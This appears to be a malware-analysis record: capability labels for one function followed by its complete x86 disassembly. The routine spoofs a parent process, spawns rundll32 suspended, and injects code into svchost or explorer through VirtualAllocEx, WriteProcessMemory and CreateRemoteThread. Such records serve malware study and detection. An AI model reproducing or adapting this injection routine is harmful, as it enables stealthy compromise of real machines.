Function at 0x401170
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Execute shellcode via indirect call
Get session user name
Inject thread
Link many functions at runtime
Resolve function by parsing pe exports
Self delete
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1bc
mov eax, dword [0x413004]
xor eax, esp
mov dword [esp + 0x1b8], eax
mov eax, dword [ebp + 0xc]
xorps xmm0, xmm0
push ebx
push esi
push edi
push 0x44
mov dword [esp + 0x10], eax
lea eax, [esp + 0x70]
push 0
push eax
movups xmmword [esp + 0x24], xmm0
call fcn.00402200
add esp, 0xc
mov dword [esp + 0x68], 0x48
mov dword [esp + 0x14], 0
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, eax
mov dword [esp + 0xb4], 0x104
lea eax, [esp + 0xb4]
push eax
lea eax, [esp + 0xbc]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov edx, str.SYSTEM
lea ecx, [esp + 0xb8]
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x401217
test al, al
je 0x401213
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x401217
add ecx, 2
add edx, 2
test al, al
jne 0x4011f7
xor eax, eax
jmp 0x40121c
sbb eax, eax
or eax, 1
mov ecx, str.svchost.exe
test eax, eax
je 0x40122a
mov ecx, str.explorer.exe
call section..text
push eax
push 0
push 0x80
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [esp + 0x28], eax
cmp eax, 0xffffffff
je 0x401343
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.InitializeProcThreadAttributeList
push ebx
call edi
push str.UpdateProcThreadAttribute
push ebx
mov esi, eax
call edi
push str.DeleteProcThreadAttributeList
push ebx
mov dword [esp + 0xbc], eax
call edi
mov ebx, eax
test esi, esi
je 0x40135d
cmp dword [esp + 0xb4], 0
je 0x40135d
test ebx, ebx
je 0x40135d
lea eax, [esp + 0x14]
push eax
push 0
push 1
push 0
call esi
push dword [esp + 0x14]
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [esp + 0x14]
mov dword [esp + 0xac], eax
push ecx
push 0
push 1
push eax
call esi
push 0
push 0
push 4
lea eax, [esp + 0x34]
push eax
push 0x20000
push 0
push dword [esp + 0xc4]
call dword [esp + 0xd0]
test eax, eax
je 0x401343
mov esi, dword [sym.imp.KERNEL32.dll_CreateProcessA]
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x6c]
push eax
push str.C:WindowsSystem32
push 0
push 0x80004
push 0
push 0
push 0
push 0
push str.C:WindowsSystem32_rundll32.exe
call esi
test eax, eax
jne 0x4013a1
push dword [esp + 0xac]
call ebx
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x6c]
push eax
push str.C:WindowsSystem32
push 0
push 4
push 0
push 0
push 0
push 0
push str.C:WindowsSystem32_rundll32.exe
call esi
test eax, eax
jne 0x4013a1
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1b8]
xor ecx, esp
call fcn.00401540
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x6c]
push eax
push str.C:WindowsSystem32
push 0
push 4
push 0
push 0
push 0
push 0
push str.C:WindowsSystem32_rundll32.exe
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x4013a1
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1b8]
xor ecx, esp
call fcn.00401540
mov esp, ebp
pop ebp
ret
push str.ntdll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
push str.EtwpCreateEtwThread
push esi
call edi
push str.RtlCreateUserThread
push esi
mov dword [esp + 0xbc], eax
call edi
mov edi, dword [esp + 0xc]
mov dword [esp + 0x10], eax
mov ecx, dword [edi + 4]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4013d3
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
sub ecx, edx
push 4
push 0x3000
lea eax, [ecx + 0x3e8]
push eax
push 0
push dword [esp + 0x28]
call ebx
mov esi, eax
test esi, esi
je 0x401343
mov edx, dword [edi + 4]
mov ecx, edx
lea edi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401410
sub ecx, edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
lea eax, [ecx + 1]
push eax
push edx
push esi
push dword [esp + 0x28]
call edi
test eax, eax
je 0x401343
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp + 0x40], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0xb4]
mov dword [esp + 0x44], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [esp + 0x3c], eax
mov eax, dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [esp + 0x34], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x48], eax
mov eax, dword [sym.imp.KERNEL32.dll_LocalAlloc]
push 4
mov dword [esp + 0x50], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x3000
mov dword [esp + 0x40], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x424
mov dword [esp + 0x5c], eax
mov eax, dword [esp + 0x1c]
push 0
push dword [esp + 0x28]
mov dword [esp + 0x68], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esp + 0x40], esi
mov dword [esp + 0x74], 0
mov dword [esp + 0x78], eax
mov dword [esp + 0x6c], 0
mov dword [esp + 0x70], 0
call ebx
push 0
mov ebx, eax
lea eax, [esp + 0x30]
push 0x3c
push eax
push ebx
push dword [esp + 0x28]
call edi
mov edi, fcn.00401160
push 0x40
sub edi, 0x4010c0
push 0x3000
lea eax, [edi + 0x3e8]
push eax
push 0
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
push edi
push 0x4010c0
mov esi, eax
push esi
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push ebx
push esi
push 0
push 0
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ecx, dword [esp + 0x1c4]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401540
mov esp, ebp
pop ebp
ret